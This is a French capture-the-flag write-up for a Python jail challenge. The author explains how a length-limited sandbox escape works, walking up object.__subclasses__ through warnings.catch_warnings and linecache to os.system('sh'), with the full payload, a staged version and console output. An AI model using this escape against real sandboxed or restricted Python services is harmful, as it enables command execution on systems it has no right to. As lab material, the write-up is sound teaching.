

Writeup Gankpa Me N4t10n

Pour ce challenge, nous disposons d'une commande pour nous connecter à un serveur: **nc 54.37.70.250 15006**. Le contexte est celui: **Aide-moi à m'échapper d'ici, stp !!!**. Cela fait penser à challenge de type **jail break**

```
(samuel@kali)-[~/Documents/HACKERLAB_2023/Writeup/Gankpa_Me]
$ nc 54.37.70.250 15006
Let's escape that shit and read secret, perhaps gotta more deeeeeeeeeeeeeeeeeeeep
ls
Error: name 'ls' is not defined
id
Error: name 'id' is not defined
pwd
Error: name 'pwd' is not defined
1
Result: 1
1+1
Result: 2
```

On constate que nous avons des restrictions sur le serveur (On s'y attendait). En faisant des recherches sur les erreurs générées, on se rend compte que nous sommes en face d'un terminal python. Nous avons la possibilité de faire des calculs simples. Il s'agit donc d'un **python jail break**

Après quelques recherches on tombe sur ce site qui parle du sujet <https://zolmeister.com/2013/05/escaping-python-sandbox.html>. Ensuite nous avons ce site <https://blog.pepsipu.com/posts/albatross-redpwnctf> qui explique clairement la vulnérabilité à exploiter. Il s'agit de partir des classes, objets et modules auxquels nous avons accès dans ce jail et de remonter, en nous basant sur leur hiérarchie, vers des modules qui nous permettront d'exécuter des commandes système sur le serveur et sortir du jail.

Nous décidons d'utiliser le payload suivant

```
().__class__.__base__.__subclasses__()[59].__enter__.__func__.__globals__['linecache'].checkcache.__globals__['os'].system('sh')
```

```
(samuel@kali)-[~/Documents/HACKERLAB_2023/Writeup/Gankpa_Me]
$ nc 54.37.70.250 15006
Let's escape that shit and read secret, perhaps gotta more deeeeeeeeeeeeeeeeeeeep
().__class__.__base__.__subclasses__()[59].__enter__.__func__.__globals__['linecache'].checkcache.
__globals__['os'].system('sh')
Error: type object 'object' has no attribute '__subcla'
```

A notre grande surprise il ne fonctionne pas. Nous avons une limite de 30 caractères. Après quelques recherches, notre meilleure option serait de stocker le payload partie par partie dans des variables en tenant compte de la limite. Nous décidons donc d'utiliser **__builtins__** pour le faire

```
(samuel@kali)-[~/Documents/HACKERLAB_2023/Writeup/Gankpa_Me]
$ nc 54.37.70.250 15006
Let's escape that shit and read secret, perhaps gotta more deeeeeeeeeeeeeeeeeeeeeeep
__builtins__['a']=().__class__
Result: <type 'tuple'>
__builtins__['b']=a.__base__
Result: <type 'object'>
__builtins__['c']=b.__subclasses__()[59]
Error: type object 'object' has no attribute '__subclass__'
```

Nous rencontrons encore une erreur dû à la limite de caractères. L'idée nous est donc venu de stocker le `__builtins__` lui-même dans une variable. Ce sera donc cette variable qui sera appelée à chaque fois que nous voudrions en créer d'autres. Cela nous permet de rester dans la limite des 30 caractères.

```
(samuel@kali)-[~/Documents/HACKERLAB_2023/Writeup/Gankpa_Me]
$ nc 54.37.70.250 15006
Let's escape that shit and read secret, perhaps gotta more deeeeeeeeeeeeeeeeeeeeeeep
__builtins__['a']=__builtins__
Result: {'a': {...}}
a['b']=().__class__.__base__
Result: <type 'object'>
a['c']=b.__subclasses__()[59]
Result: <class 'warnings.catch_warnings'>
a['d']=c.__enter__.__func__
Result: <function __enter__ at 0x7f8a52352f50>
a['e']=d.__globals__
Result: {'filterwarnings': <function filterwarnings at 0x7f8a523527d0>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, 'show_warning': <function show_warning at 0x7f8a52352450>, 'filters': [(('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0))], '_setoption': <function _setoption at 0x7f8a52352bd0>, 'showwarning': <function show_warning at 0x7f8a52352450>, '__all__': ['warn', 'warn_explicit', 'showwarning', 'formatwarning', 'filterwarnings', 'simplefilter', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f8a523528d0>, 'default_action': 'default', 'getcategory': <function getcategory at 0x7f8a52352a50>, '__builtins__': {'a': {...}, 'c': <class 'warnings.catch_warnings'>, 'b': <type 'object'>, 'e': {...}, 'd': <function __enter__ at 0x7f8a52352f50>, 'catch_warnings': <class 'warnings.catch_warnings'>, 'file': '/usr/local/lib/python2.7/warnings.py', 'warnpy3k': <function warnpy3k at 0x7f8a523529d0>, 'sys': <module 'sys' (built-in)>, 'name': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/local/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, 'processoptions': <function processoptions at 0x7f8a52352950>, 'defaultaction': 'default', 'doc': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>, 'OptionError': <class 'warnings.OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f8a52352850>, 'formatwarning': <function formatwarning at 0x7f8a52352750>, '_getaction': <function _getaction at 0x7f8a52352ad0>}, 'f': <module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>
a['g']=f.checkcache
Result: <function checkcache at 0x7f8a52352650>
a['h']=g.__globals__
Result: {'updatecache': <function updatecache at 0x7f8a523526d0>, 'clearcache': <function clearcache at 0x7f8a52352550>, '__all__': ['getline', 'clearcache', 'checkcache'], '__builtins__': {'a': {...}, 'c': <class 'warnings.catch_warnings'>, 'b': <type 'object'>, 'e': {'filterwarnings': <function filterwarnings at 0x7f8a523527d0>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, 'show_warning': <function show_warning at 0x7f8a52352450>, 'filters': [(('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0))], '_setoption': <function _setoption at 0x7f8a52352bd0>, 'showwarning': <function show_warning at 0x7f8a52352450>, '__all__': ['warn', 'warn_explicit', 'showwarning', 'formatwarning', 'filterwarnings', 'simplefilter', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f8a523528d0>, 'default_action': 'default', 'getcategory': <function getcategory at 0x7f8a52352a50>, '__builtins__': {...}, 'catch_warnings': <class 'warnings.catch_warnings'>, 'file': '/usr/local/lib/python2.7/warnings.pyc', 'warnpy3k': <function warnpy3k at 0x7f8a523529d0>, 'sys': <module 'sys' (built-in)>, 'name': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/local/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, 'processoptions': <function processoptions at 0x7f8a52352950>, 'defaultaction': 'default', 'doc': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>, 'OptionError': <class 'warnings.OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f8a52352850>, 'formatwarning': <function formatwarning at 0x7f8a52352750>, '_getaction': <function _getaction at 0x7f8a52352ad0>, 'd': <function __enter__ at 0x7f8a52352f50>, 'g': <function checkcache at 0x7f8a52352650>, 'f': <module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>, 'h': {...}, 'file': '/usr/local/lib/python2.7/linecache.pyc', 'cache': {}, 'checkcache': <function checkcache at 0x7f8a52352650>, 'getline': <function _getline at 0x7f8a523524d0>, '__package__': None, 'sys': <module 'sys' (built-in)>, 'getlines': <function getlines at 0x7f8a523525d0>, '__name__': 'linecache', 'os': <module 'os' from '/usr/local/lib/python2.7/os.pyc'>, '__doc__': 'Cache lines from files.\n\nThis is intended to read lines from modules imported -- hence if a filename\nis not found, it will look down the module search path for a file by\nthat name.\n'}, 'os': <module 'os' from '/usr/local/lib/python2.7/os.pyc'>
os.system('sh')
```

Et voilà, ça fonctionne !!! Le flag est donc **CTF_9385nu3uIU98h9UH98!!**

Le script **gankpa_me.py** permet d'automatiser le processus et d'obtenir directement le shell.